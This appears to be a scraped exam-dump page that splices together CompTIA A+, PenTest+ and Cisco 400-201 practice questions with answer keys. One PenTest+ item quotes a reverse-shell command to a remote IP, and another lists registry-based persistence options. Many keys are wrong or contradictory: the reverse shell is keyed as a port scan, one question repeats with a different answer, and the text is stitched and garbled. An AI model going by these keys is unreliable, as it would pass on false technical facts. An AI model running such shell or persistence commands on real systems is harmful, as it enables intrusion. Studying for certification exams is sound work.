A technician is installing Windows 7 64-bit OS on a VM but keeps getting errors. The specifications for the malware are:
Two 1GHz CPUs
2GB of memory
15GB hard drive
800×600 screen resolution
Which of the following should the technician do to resolve the problem?
A. Increase the number of CPUs
B. Increase the amount of memory
C. Increase the amount of hard drive space
D. Increase the screen resolution
Correct Answer: C

 

QUESTION 4
In which of the following file extension types would a user expect to see the command. “net use T:\\server\files\\’?
A. .bat
B. .vbs
C. .js
D. .py
Correct Answer: A

 

QUESTION 5
A user\\’s phone contains customer\\’s PII. The user cannot have the phone automatically wiped because the data is
very valuable. Which of the following is the BEST method of securing the phone?
A. Fingerprint lock
B. Passcode lock
C. Swipe lock
D. PIN lock
Correct Answer: A

 

QUESTION 6
A security team is auditing a company\\’s network logs and notices that a USB drive was previously inserted into several
of the servers. Many login attempts were then successfully performed using common login information. Which of the following actions should be taken to close the vulnerability? (Select two.)
A. Disable guest account
B. Remove admin permissions
C. Modify AutoRun settings
D. Change default credentials
E. Run OS security updates
F. Install a software firewall
Correct Answer: AC

 

QUESTION 7
A network administrator notifies a technician that the company is experiencing a DDoS attack. Several internal Windows
PCs are the source of the traffic. The network administrator gives the technician the Windows computer names and
states they be scanned and cleaned immediately.
With which of the following types of infections are the PCs MOST likely infected? (Select two.)
A. Spyware
B. Zombies
C. Virus
D. Ransomware
E. Worm
F. Botnet
Correct Answer: BE

 

QUESTION 8
Which of the following installation types would require the use of an answer file to install the OS?
A. Unattended
B. Clean
C. Repair
D. Upgrade
Correct Answer: A

 

QUESTION 9
A manager requests remote access to a server after hours and on weekends to check data. The manager insists on
using the server. Before granting the access, which of the following is the MOST important step a technician can take to
protect against possible infection?
A. Create a policy to remove Internet access from the server during off hours
B. Set the local antivirus software on the server to update and scan daily
C. Ensure the server is patched with the latest security updates
D. Educate the manager on safe Internet browsing practices
Correct Answer: C

 

QUESTION 10
A user calls the help desk regarding a new Windows issues that started in the morning. The user can no longer use any
locally attached devices, such as a mouse or a printer, and a reboot did not fix the problem. Which of the following
would MOST likely fix the issue?
A. Roll back updates
B. Disable the Windows Update service
C. Check for updates
D. Restore hidden updates
Correct Answer: A

 

QUESTION 11
A department in an organization set up a proxy server to manage its Internet stage. A technician is configuring the
Windows workstations to use the new proxy server. Which of the following Control Panel utilities should the technician
use to configure the setting?
A. Internet Options ?Advanced
B. Internet Options ?Connections
C. Internet Options ?Security
D. Internet Options ?Content
E. Internet Options ?Privacy
Correct Answer: B

 

QUESTION 12
A user contacts a technician to troubleshoot server errors. The user explains that some files will not open on the server,
the data backups are operational, and the weather has been bad. The technician notices missing time slots in the event
log.
Which of the following should the technician replace to prevent these issues in the future?
A. System memory
B. Surge protector
C. Hard drives
D. Battery backup
Correct Answer: D

 

QUESTION 13
A user\\’s smartphone is making the camera shutter noise even when the user is not taking pictures. When the user
opens the photo album, there are no new pictures. Which of the following steps should be taken FIRST to determine the
cause of the issue?
A. Uninstall the camera application
B. Check the application permissions
C. Reset the phone to factory settings
D. Update all of the applications on the phone
E. Run any pending OS updates
Correct Answer: B

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QUESTION 1
The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on
the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST
likely causes for this difference? (Select TWO) 
A. Storage access 
B. Limited network access 
C. Misconfigured DHCP server 
D. Incorrect credentials 
E. Network access controls 
Correct Answer: AB

QUESTION 2
Click the Exhibit button.

pass4itsure PT0-001 exam question q2A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that
is causing trouble on the network Which of the following types of attacks should the tester stop? 
A. SNMP brute forcing 
B. ARP spoofing 
C. DNS cache poisoning 
D. SMTP relay 
Correct Answer: B

QUESTION 3
A security analyst was provided with a detailed penetration report, which was performed against the organization\\’s
DMZ environment. It was noted in the report that a finding has a CVSS base score of 10.0. Which of the following
levels of difficulty would be required to exploit this vulnerability? 
A. Very difficult; perimeter systems are usually behind a firewall. 
B. Somewhat difficult; would require significant processing power to exploit. 
C. Trivial; little effort is required to exploit this finding. 
D. Impossible; external hosts are hardened to protect against attacks. 
Correct Answer: C 
Reference https://nvd.nist.gov/vuln-metrics/cvss

QUESTION 4
A penetration tester is checking a script to determine why some basic persisting. The expected result was the program
outputting “True.”

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Given the output from the console above, which of the following explains how to correct the errors in the script? (Select
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A. Change fi\\’ to \\’Endlf 
B. Remove the \\’let\\’ in front of \\’dest=5+5\\’. 
C. Change the \\’=” to \\’-eq\\’. 
D. Change -Source* and \\’dest\\’ to “Source” and “Saddest” 
E. Change \\’else\\’ to \\’elif. 
Correct Answer: BC

QUESTION 5
A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities,
with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under
such circumstances, which of the following would be the BEST suggestion for the client? 
A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation. 
B. Identify the issues that can be remediated most quickly and address them first. 
C. Implement the least impactful of the critical vulnerabilities\\’ remediations first, and then address other critical
vulnerabilities 
D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long time. 
Correct Answer: D

QUESTION 6
A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port The penetration tester wishes to forward that traffic back to a device Which of the following are the BEST tools to use a few this purpose?
(Select TWO) 
A. Tcpdump 
B. Nmap 
C. Wiresrtark 
D. SSH 
E. Netcat 
F. Cain and Abel 
Correct Answer: DE

QUESTION 7
A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the
penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST
meet this goal? 
A. Perform an HTTP downgrade attack. 
B. Harvest the user credentials to decrypt traffic. 
C. Perform a MITM attack. 
D. Implement a CA attack by impersonating trusted CAs. 
Correct Answer: A

QUESTION 8
Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in
electrical utility facilities, natural gas facilities, dams, and nuclear facilities? 
A. ICS vendors are slow to implement adequate security controls. 
B. ICS staff are not adequately trained to perform basic duties. 
C. There is a scarcity of replacement equipment for critical devices. 
D. There is a lack of compliance for ICS facilities. 
Correct Answer: B

QUESTION 9
The following line was found in an exploited machine\\’s history file. An attacker ran the following command: 
bash -i >and /dev/tcp/192.168.0.1/80 0> and1 
Which of the following describes what the command does? 
A. Performs a port scan. 
B. Grabs the web server\\’s banner. 
C. Redirects a TTY to a remote system. 
D. Removes error logs for the supplied IP. 
Correct Answer: A

QUESTION 10
Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO). 
A. Shodan 
B. SET 
C. BeEF 
D. Wireshark 
E. Maltego 
F. Dynamo 
Correct Answer: AE 
References: https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint- tools/#gref

QUESTION 11
A penetration tester has gained access to a marketing employee\\’s device. The penetration tester wants to ensure that
if the access is discovered, control of the device can be regained. Which of the following actions should the penetration
tester use to maintain persistence to the device? (Select TWO.) 
A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. 
B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com. 
C. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1. 
D. Create a fake service in Windows called RTAudio to execute manually. 
E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio. 
F. Create a scheduled task to call C:\windows\system32\drivers\etc\hosts. 
Correct Answer: AC

QUESTION 12
Which of the following tools is used to perform a credential brute force attack? 
A. Hydra 
B. John the Ripper 
C. Hashcat 
D. Peach 
Correct Answer: A 
Reference https://www.greycampus.com/blog/information-security/brute-force-attacks- prominent-tools-totackle-such-attacks

QUESTION 13
A penetration tester is preparing to conduct API testing Which of the following would be MOST helpful in preparing for
this engagement? 
A. Nikto 
B. WAR 
C. W3AF 
D. Swagger 
Correct Answer: D

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About the exam

CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks. Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings. Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.

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After reading the A+ 220-1001 study guide you will understand how to:

  • Install and configure PC system unit components and peripheral devices.
  • Install, configure, and troubleshoot display and multimedia devices.
  • Install, configure, and troubleshoot storage devices.
  • Install, configure, and troubleshoot internal system components.
  • Explain network infrastructure concepts.
  • Configure and troubleshoot network connections.
  • Implement client virtualization.
  • Support and troubleshoot laptops.
  • Support and troubleshoot mobile devices.
  • Support and troubleshoot print devices.

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Latest effective CompTIA 220-1001 Exam Practice Tests

QUESTION 1
A user wants to print a large job on both the front and back sides of the paper. 
Which of the following settings should the technician advise the user to change in the printer settings? 
A. Collate 
B. Orientation 
C. Duplex 
D. Transparency 
Correct Answer: C


QUESTION 2
A printer stops working in the billing department and cannot be repaired. A new printer has been ordered and a
technician is tasked with allowing other users to print to the billing manager\\’s printer until the new printer arrives. The
manager\\’s printer is currently used via USB connection, and there are no network jacks available for use. 
Which of the following is the BEST way for the technician to allow access to the printer? 
A. Create a share on the manager\\’s computer and give the users rights to the share. 
B. Install the printer on the users\\’ desktops and point it to the IP address of the manager\\’s computer. 
C. Purchase a wireless printer so the users can access the printer via network. 
D. Provide flash drives to the users so they can transfer data to the manager\\’s computer for printing. 
Correct Answer: C


QUESTION 3
During an inspection, it was found that data racks were not properly grounded. To pass the inspection and address a
growing concern to protect data cabling and equipment, a technician must make sure all racks are properly grounded. 
Which of the following tools should the technician use to verify this has been completed? 
A. Multimeter 
B. Cable tester 
C. Tone generator 
D. Voltmeter 
Correct Answer: A


QUESTION 4
A customer wants to purchase a new home computer. The machine will mainly be used for internal browsing and
streaming video, except on weekends when the customers\\’ son will use it to play games with friends. 
Which of the following should the technician focus on to meet these requirements? 
A. 80mm case fans 
B. Four-core processor 
C. RAID 5 array 
D. 16GB DDR2 memory 
E. Dual monitors 
F. Encrypted hard drive 
Correct Answer: B


QUESTION 5
A server needs a RAM upgrade, and a technician has been tasked with retrieving the RAM from storage and then
installing it. 
Whish of the following is the BEST RAM type for the technician to retrieve? 
A. SoDIMM 
B. DDR4 
C. Single channel 
D. ECC 
Correct Answer: B


QUESTION 6
Which of the following cable types should be used to connect a cable modem to a SOHO router? 
A. Thunderbolt 
B. Coaxial 
C. USB 
D. Ethernet 
Correct Answer: D


QUESTION 7
A technician needs to routinely run scripting commands in Linux but does not want to walk over the server room every
time to perform the task. The technician also travels between buildings and has a Windows 10 laptop with 4GB of
memory and a fully partitioned 500GB hard drive. 
Which of the following steps should the technician take to resolve this issue? (Choose two.) 
A. Increase the memory to 8GB. 
B. Install a Linux guest VM. 
C. Add another 500GB hard drive. 
D. Create a Linux LiveBoot CD. 
E. Repartition the hard drive. 
F. Install Linux on a new ext3 partition. 
Correct Answer: EF


QUESTION 8
An end user wants to have a second monitor installed on a laptop. Which of the following would allow a technician to
configure the laptop to show both screens once the cable is connected? 
A. Plug an external monitor into the USB port. 
B. Use the Fn and function key combination 
C. Adjust the monitor display settings. 
D. Enable DisplayPort. 
Correct Answer: C


QUESTION 9
A business owner wants to provide security to laptop users with the ability to charge their devices, access corporate
LAN resources, and allow for a variety of their removable hardware. 
Which of the following devices would BEST meet the owner\\’s needs? 
A. Docking station 
B. Port replicator 
C. Thunderbolt 
D. USB hub 
Correct Answer: A


QUESTION 10
A user reports that printing on heavy cardstock paper results in the image smearing if touched. When printing on plain
paper, the problem does not occur. 
Which of the following would be the NEXT troubleshooting step to perform? 
A. Increase the fuser temperature. 
B. Change the paper feed rate. 
C. Clean the transfer roller. 
D. Replace the toner cartridge. 
Correct Answer: A


QUESTION 11
A technician upgraded the memory on a server from two 8GB sticks to eight 32GB. The server memory is now at full
capacity per the user guide. When the technician powers on the system, only 128 GB of memory is recognized by the
OS and the BIOS. The technician decides to upgrade to the latest version of the firmware on the system, which does not
help. Next, the technician installs the memory in sets of 64GB at a time. Each individual set of 64GB is fully recognized
by the server. 
Which of the following will not allow the server to recognize all of the memory installed at the same time? 
A. The power supply is not supplying enough power for the memory. 
B. The memory has too many ECC errors and is shutting down 
C. The server is overheating when all of the memory is installed. 
D. The server needs DDR4 memory, and DDR3 is installed. 
Correct Answer: D


QUESTION 12
A user logs on a PC and receives a message stating there is a duplicate IP address on the network. After a system
restart, the user notices the same error. 
Which of the following is the MOST probable cause of the error? 
A. The user is still logged into another device. 
B. The user has set a static IP address. 
C. The user has moved to a different office. 
D. The user has wireless and wired connections. 
Correct Answer: B


QUESTION 13
Which of the following is MOST likely causing the problem? 
A. Airplane mode 
B. Tethering 
C. Disabled hotspot 
D. VPN 
Correct Answer: A

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QUESTION 1
Which option is the Cisco cloud management platform that is designed for enterprise and public sector IT organizations to help build private and hybrid clouds?
A. Cisco Cloud Orchestrator
B. Cisco UCS Director
C. Cisco Intercloud Fabric
D. Cisco Intelligent Automation for Cloud
Correct Answer: D

 

QUESTION 2

pass4itsure 400-201 exam question

Refer to the exhibit. An MPLS VPN service was provisioned for customer ABC both sites must be communication to each other primarily over the wan link with no traffic over the wan circuits PE1 has the same configuration as PE2 which two
commands can be configure on the PEs to accomplish the desired goal?(Choose two)
A. Under sub interface IP VRF SITEMAP SoO with the same SoO value.
B. no neighbor <CE-IP address> AS-override.
C. Neighbor<CE-IP address> route-map SoO in with the same SoO value.
D. Neighbor<CE-IP address> route-map SoO in with a different SoO value.
E. Neighbor<CE-IP address> route-map SoOout with the same SoO value.
Correct Answer: BC

 

QUESTION 3

pass4itsure 400-201 exam question

Refer to the exhibit Customer ABC is peering with two service providers for internet access. In order to prevent the AS 100 from becoming a transit AS between ISP_1 and ISP_2. Which BGP configuration must be applied to achieve this
goal?
A. CE1# CE2#
ip as-path access-list 1 permit^100$ ip as-path access-list 1 permit^100$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100
neighbor 1.1.2.2 route-map LOCAL_ONLY in neighbor 1.1.1.2 route-map LOCAL_ONLY in
B. CE1# CE2#
ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100
neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out
C. CE1# CE2#
ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100
neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out
D. CE1# CE2#
ip as-path access-list 1 permit^11$ ip as-path access-list 1 permit^11$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10
match as-path 1 match as-path 1
router bgp 100 router bgp 100
neighbor 1.1.2.2 route-map LOCAL_ONLY out neighbor 1.1.2.2 route-map LOCAL_ONLY out
E. CE1# CE2#
ip as-path access-list 1 permit^$ ip as-path access-list 1 permit^$ route-map LOCAL_ONLY permit 10 route-map LOCAL_ONLY permit 10 match as-path 1 match as-path 1 router bgp 100 router bgp 100
neighbor 1.1.2.2 route-map LOCAL_ONLY in neighbor 1.1.1.2 route-map LOCAL_ONLY in
Correct Answer: C

 

QUESTION 4
A network operation engineer has these requirement:
*prevent multicast transit when it is enforced by unicast stub routing.
*Reduce the overall processing of PIM control traffic. Especially when the number of stub links increases on the stub device.
*protect against multicast spoofing of PM designated router messages and PIM assert messages.
Which solution meets these requirements?
A. explicit tracking of receivers.
B. multicast stub routing.
C. Source Specific Multicast.
D. PIM allow RP.
Correct Answer: B

 

QUESTION 5
Which option is the benefit of per-link LFA over per-prefix LFA?
A. It has a greater applicability
B. It provides greater protection coverage
C. It is simpler
D. It enables better bandwidth utilization
Correct Answer: C

 

QUESTION 6
Which standard provides insurance that the new hardware rollout plan meets certain environment design guidelines before deployment?
A. NAS
B. eTOM
C. NEBS
D. ITIL
E. COBIT
Correct Answer: C

 

QUESTION 7
ISP A provides L2VPN services to Company B through an MPLS network. Company B uses all available CoS values to classify and different traffic forwarding within all Company B sites. ISP A uses the following CoS values to differentiate
service classes for the VPN customer traffic
*MPLS EXP 0 for Bronze service class*MPLS EXP 1 for Silver service class
*MPLS EXP 2 for Gold service class
*Remaining MPLS EXP values for ISP A internal use
ISP A’s policy is to forward VPN customer traffic based only on their Bronze, silver and Gold service classes. Which QoS method must ISP A implement to achieve this?
A. Short-pipe Mode
B. Russian Doll Model
C. Pipe Mode
D. Uniform Mode
E. Maximum Allocation Model
Correct Answer: D

 

QUESTION 8
Which two options are characteristics of MoFRR? ( Choose two)
A. Uses additional PIM join toward source
B. Based on multicast forward error correction feature
C. Based on PIM Fast Route
D. Requires MPLS TE FRR enabled with link protection and node protection
E. Utilizes two equal-cost paths toward source
Correct Answer: AE

 

QUESTION 9
Which routing table is used by PEs and ASBRs to store all VPN routes that need to be exchanged in an Inter-AS L3VPN option B scenario?
A. IGP table
B. VRF routing table
C. Global routing table
D. BGP table
Correct Answer: D

 

QUESTION 10
In the MC-LAG environment, which two statements about clustering HA are true?
A. Public connection is used to access the active node of cluster from the outside cluster
B. Private connection is used to connect the nodes of the cluster for private communication
C. Private connection is used to access the active node of cluster from the outside cluster
D. Public connection is used to connect the nodes of cluster for private communication
E. Public connection is used to monitor the health and status of each node in the HA cluster using the heartbeat system
Correct Answer: AB

 

QUESTION 11

pass4itsure 400-201 exam question

Refer to the exhibit. After the BGP TCP negotiation between Router A and Router B, what will be the value of the keep alive timer and the hold-down timer, respectively?
A. 3 seconds and 9 seconds
B. 60 seconds and 180 seconds
C. 10 seconds and 9 seconds
D. no value, because BGP negotiation will not be successful
E. 10 seconds and 10 seconds
F. 10 seconds and 30 seconds
G. 3 seconds and 30 seconds
H. 3 seconds and 10 seconds
Correct Answer: D

 

QUESTION 12
Which are two benefits of using segment routing over RSVP-TE for traffic engineering? (Choose two)
A. Segment routing traffic engineering tunnels always follow the low-latency path
B. ECMP-aware traffic engineering is natively supported by segment routing
C. Per-flow state is present only at the ingress node to the Segment routing-enabled network
D. Per-flow state is present at the ingress and egress node to the segment routing-enabled network
E. Per-flow state is maintained on all nodes of the segment routing-enabled network
Correct Answer: BC

 

QUESTION 13
Which three PIM modes require RP? (Choose three)
A. PIM-DM
B. PIM-SM
C. PIM with mLDP
D. PIM-SSM
E. PIM anycast
F. PIM-BIDIR
Correct Answer: BEF

 

QUESTION 14
Which option is the benefit of per-link LFA over per-prefix LFA?
A. It has a greater applicability
B. It provides greater protection coverage
C. It is simpler
D. It enables better bandwidth utilization
Correct Answer: C

 

QUESTION 15
In which two ways does the BGP graceful restart capability preserve prefix information during a restart? (Choose two.)
A. The peer router sends an end -of RIB message to the restarting router
B. The peer router immediately removes the BGP routes that it learned from the restarting router from its BGP routing table
C. The restarting router waits to receive updates from the neighboring routers.
D. The restarting router does not remove any stale prefixes after the timer for stale entries exTs.
E. The restarting router removes any stale prefixes after the timer for stale entries expires
Correct Answer: CE

 

QUESTION 16
What is the port number of an IPsec Encapsulating Security Payload packet? (ESP)
A. IP protocol 51B. UDP port 50
C. Ip protocol 50
D. TCP Port 50
E. UDP port 51
F. TCP port 51
Correct Answer: C

 

QUESTION 17
Two routers that are running MPLS and LDP have multiple links that than connect them to each other. An engineer wants to ensure that the label bindings are not flushed from the LIB if one of the links fails. Which configuration meets this
requirement?
A. the mpls ldp neighbor targeted command
B. the mpls ip command on a Cisco MPLS TE tunnel
C. the mpls ldp autoconfig command
D. the mpls ldp session protection command
Correct Answer: D

 

QUESTION 18
A network engineer has a requirement to configure IP flow exporting using standard protocols on a cisco IOS XE device. Which configuration achieves this goal?
A. flow exporter EXPORTER
destination 10.1.1.1
export-protocol version 9
transport udp 90
B. flow exporter EXPORTER
destination 10.1.1.1
source Loopback 0
transport udp 90
C. flow exporter EXPORTER
destination 10.1.1.1
source Loopback 0
transport udp 90
version ipfix
D. flow exporter EXPORTER
destination 10.1.1.1
export-protocol ipfix
transport udp 90
Correct Answer: D

 

QUESTION 19
A customer has a requirements record voice calls for IPT connected on switch A using VLAN 200.Record traffic should be forwarded to the IPCC recording server, which is connected on switch B, voice recording is not working. Assuming that
RSPAN source monitoring is properly set, which action fixes this problem?
A. On switch B, the monitor session 1 destination remote <interface_config_to_recording_server> command must be applied
B. On switch B, the port connects to the recording server must have an IP address and be accessible via VLAN 200
C. On switch B, the port that connects to the reording server must be accessed on VLAN
D. On switch A and switch B, the remote-span command must be configured on the mirroring dedicated VLAN
Correct Answer: D

 

QUESTION 20
A service provider engineering team must design a solution that supports end-to-end LSPS for multiple IGP domains within different AS numbers. According to RFC 3107, which solution achieves this goal?
A. LDP and BGP
B. BGP and Send-label
C. RSVP and IS-IS or OSPF
D. RSVP and BGP
E. mLDP
Correct Answer: B

 

QUESTION 21
A service provider is implementing an nV Edge system with the two ASR 9000 chassis has two RSPs. Which two cabling methods reflect the minimum configuration needed for full synchronization between the two Cisco ASR 9000 chassis?
(Choose two)
A. Create the single virtual control plane that connect the two RSPs between the two chassis via Layer 2 connections
B. Create the IRL connections between the two chassis via Layer 3 connections using the EOBC 10 Gbps ports of the RSPs
C. Create the IRL connections between the two chassis via Layer 3 connections using the ports of the line cards
D. Create the single virtual control plane that connect the two chassis via Layer 3 connections using the 10 Gbps ports of the line cards
E. Create the IRL connections between the two chassis via Layer 1 connections using the10 Gbps ports of the line cards
F. Create the single virtual control plane that connect the two chassis via 100 Gbps bundle interfaces
G. Create the IRL connections between the two chassis via Layer 1 connections using the EOBC 10 Gbps ports of the RSPs
Correct Answer: AE

 

QUESTION 22
A service provider offers four classes of service for MPLS VPN customer with the following IPP/EXP values
A. voice=5
ii. video=4
iii. priority-data =3
iv. best-effort data=0
The service provider also supports multicast VPN services in the priority data and best- effort classes.
Multicast VPN is implemented as a draft-rosen profile. On a P router, in the MPLS core, the ingress.
QoS policy-map must classify all incoming packets, so that different classes of traffic can be properly handled in fabric queues and egress queues. All types of packets in the core network must be covered’ Which ingress classification
offers the optimal performance and provides the minimum number of actions that match the service provider QoS requirements?
B. class-map match-any VOICE
match mpls experiment topmost 5
class-map match-any VIDEO
match mpls experiment topmost 4
class-map match-any CONTROL
match mpls experiment topmost 6
class-map match-any PRIORITY
match mpls experimental topmost 3
!
policy-map INGRESS
class VOICE
set qos-group 5
class VIDEO
set qos-group 4
class CONTROL
set qos-group 6
class PRIORITY
set qos-group 3
class class-default
C. class-map match-any VOICE
match mpls experiment topmost 5
class-map match-any VIDEO
match mpls experiment topmost 4
class-map match-any CONTROL
match mpls experiment topmost 6 7
match ip precedence ipv4 internet network
class-map match-any PRIORITY
match mpls experimental topmost 3
match ip precedence ipv4 flash
!
policy-map INGRESS
class VOICE
set qos-group 5
class VIDEO
set qos-group 4
class CONTROL
set qos-group 6
class PRIORITY
set qos-group 3
class class-default
D. class-map match-any VOICEmatch mpls experiment topmost 5
match ip precedence ipv4 critical
class-map match-any VIDEO
match mpls experiment topmost 4
match ip precedence ipv4 flash-override
class-map match-any PRIORITY
match mpls experimental topmost 3
match ip precedence ipv4 flash
!
policy-map INGRESS
class VOICE
set qos-group 5
class VIDEO
set qos-group 4
class PRIORITY
set qos-group 3
class class-default
Correct Answer: C

 

QUESTION 23
An engineer deploys a new Cisco IOS XR router and connects a Gigbit Ethernet port to an existing Cisco Catalyst 3650 Series Switch. The engineer uses known good optics and fiber, but the link has not come up and it is stuck in the down/
down state.
What is the root cause of this issue?
A. Cisco IOS XR devices must use copper connections to Catalyst 3650 Series Switches
B. UDLD must be enabled on the Catalyst 3650 Series switch
C. CDP is not enabled on the Cisco IOS XR device
D. Auto negation must be disabled on the Catalyst 3650 Series Switch
Correct Answer: D

 

QUESTION 24
In a multihop BFD scenario, which two options create a multihop template and associate it with maps of destinations and associated timers? (Choose two)
A. Fallover BFD
B. BFD echo
C. BFD map
D. BFD template
E. BFD version 2
Correct Answer: CD

 

QUESTION 25

pass4itsure 400-201 exam question

Refer to the exhibit PIM sparse mode is implemented in the network RPF succeeds under which condition?
A. The RPF check succeeds for the highest DR priority for the PIM router
B. The RPF check succeeds for both PIM neighbors, and traffic load-balances across both neighbors
C. The RPF check succeeds for the next hop whose router ID is the highest
D. The RPF check succeeds for the highest interface IP address for the PIM router
Correct Answer: D

 

QUESTION 26
An engineer is connecting a new 10-Gbps Ethernet link. Which type of transceiver must the Engineer purchase that is the current industry standard?
A. GBIC
B. XFP
C. X2
D. SFP
Correct Answer: B

 

QUESTION 27

pass4itsure 400-201 exam question

Refer to the exhibit what is the status of the L2 tunnel between PE1,PE2 and the layer 2 switches ?
A. The layer 2 tunnel is down due to the ACL is applied on the PE2 interface
B. The layer 2 tunnel is up and SW1 become the root bridge for VLAN 10
C. The layer 2 tunnel is down due to the MTU mismatch between SW1 and SW2
D. The layer 2 tunnel is up but no BPDUs are exchange unless an extra configuration is applied
Correct Answer: B

 

QUESTION 28
Service providers that implement MPLS Inter-AS Option B must ensure that the ASBRs between each provider learn all VPNv4 routers from both providers. How can this requirements be accomplished?
A. Ensure that each ASBR is configured for all VRFs from within its own provider backbone
B. Configure each ASBR to retain route targets for all VPNv-4 learned routes
C. Configure the VRFs form the connecting provider in order to learn route targets on each ASBR
D. Ensure that LDP is conjured between each ASBR for label exchange on all VRFs
Correct Answer: B

 

QUESTION 29
IPv6 multicast is enabled in a VPLS domain. An operations engineer must reduce the multicast flooding in this VPLS domain. Which feature constrains IPv6 traffic at Layer 2 by configuring Layer 2 ports dynamically to forward IPv6 multicast
traffic only to those ports that want to receive it?
A. IGMP snooping
B. MLD snooping
C. MLD querier
D. IGMP version 3
E. MLD version 2Correct Answer: B

 

QUESTION 30
In the Dual Stack lite solution, what is the function of the B4 component?
A. It acts as an endpoint for the IPv6 in IPv4 encapsulation and forwarding
B. It decapsulates the tunneled IPV4 packets, translate the network address, and routes to the IPv4 network
C. It encapsulates the customer IPv4 packets using IPv6 tunnel and second to the AFTR
D. It reverses network address translated of the eipv4 packets coming from the internet and it sends the resultant IPv4 packets to AFTR
Correct Answer: C

 

QUESTION 31
An support engineer has been tasked to protect an ISP infrastructure from the growing number of encrypted DDoS attacks. The solution should also validate the eBGP peering.
Which solution accomplishes these goals?
A. BGP FlowSpec
B. BTSH
C. BGP Route Dampening
D. BGP LS
E. RTBH
Correct Answer: B

 

QUESTION 32
Which two components does the LDP use to discover neighbors on a network segment? (Choose two)
A. 224.0.0.14 multicast address
B. 224.0.0.1 multicast address
C. 224.0.0.2 multicast address
D. 711 tcp port
E. 646 udp port
F. 711 udp port
G. 646 tcp port
Correct Answer: CE

 

QUESTION 33
A Layer 3 VPN customer opened a case that reports connectivity loss with remote sites. An operations engineer realized this connectivity loss happened after the LDP label filtering was applied. What is the root cause of this issue?
A. Labels were not allocated for the PE , P and RR physical interfaces
B. Labels were not allocated for the PE loopbacks
C. Labels were not allocated for the CE loopback and physical interfaces
D. Labels were not allocated for the P loopbacks
E. Labels were not allocated for the PE, P , and RR loopbacks
F. Labels were not allocated for the P and PE physical interfaces
Correct Answer: B

 

QUESTION 34
Which version of IGMP is required for source specific multicast implementations?
A. IGMP version 2
B. Cisco group management protocol
C. IGMP version 3
D. IGMP version 1
Correct Answer: C

 

QUESTION 35
Which three security mechanisms are used to mitigate or protect against DoS attacks that are targeted at a router? (Choose three)
A. NSR
B. GSTM
C. uRPF
D. BFD
E. FRR
F. CoPP
Correct Answer: BCF

 

QUESTION 36
In a L2VPN service, customer CE sends frames to PE1 using a CoS making value of 3. However , the remote CE receives those frames from PE2 with a CoS marking value of 0.
Which description of this behavior is true?
A. Egress PE2 is not configured with an outbound policy-map facing CE2 to preserve CoS marking
B. Egress PE2 is marking EXP 0 upon label imposition
C. Egress PE2 is not configured with mpls Ldp explicit-null command
D. Ingress PE1 is remarking the CoS frame received from CE1 with valuye of 0
Correct Answer: D

 

QUESTION 37
In an Internet scenario with noncongruent unicast and multicast topologies, which protocol a scalable policy for performing multicast RPF checks?
A. MADCAP
B. MSDP
C. MBGP
D. PGM
Correct Answer: C

 

QUESTION 38

pass4itsure 400-201 exam question

Refer to the exhibit. A network engineer has a requirement to enable MPLS TE tunnels on the network to be L3VPN customers. Which MPLS TE feature allow the network engineer to configure MPLS TE LSPs by using a few CLI commands?
A. AutoTunnel Mesh Groups on all P and PE routers
B. AutoTunnel Primary and Backup on all PE routers
C. AutoTunnel Primary and Backup on all P and PE routers
D. AutoTunnel Mesh Groups on all PE routers
Correct Answer: D

 

QUESTION 39
A design engineer has a requirement to implement QoS with a high degree of granularity in traffic management on a service provider network. The QoS behavior must match these requirements
*Shape multiple queues to a single rate
*Specify the maximum transmission rate of a set traffic classes that are queued separately
*Shape the aggregate traffic of queues on a physical interface
Which deployment meets these requirements ?
A. RSVP
B. LLQ
C. CBWFQ with WRED
D. hierarchical QoS
Correct Answer: D

 

QUESTION 40
An support engineer has been tasked to protect an ISP infrastructure from the growing number of encrypted DDoS attacks. The solution should also validate the eBGP peering.
Which solution accomplishes these goals?
A. BGP FlowSpec
B. BTSH
C. BGP Route Dampening
D. BGP LS
E. RTBH
Correct Answer: E

 

QUESTION 41
A service provider is using Cisco ME 3400 Series Ethernet Access Switches on the edge of a Metro Ethernet POP. A customer has a requirement to connect a switch to the network and requires the ability to trunk VLANs on the uplink port
into the provider network. Which port type should the engineer configure on the switch to meet this requirement while maintaining a secure edge implementation?
A. UNI
B. ENI
C. NNI
D. Access
Correct Answer: C

 

QUESTION 42
Which operational metric to measure the health of the incident management process is critical?
A. A number of successful changes
B. Number of incidents per severity level
C. Mean time to restore service
D. Mean time to resolve incidents
Correct Answer: A

 

QUESTION 43

pass4itsure 400-201 exam question

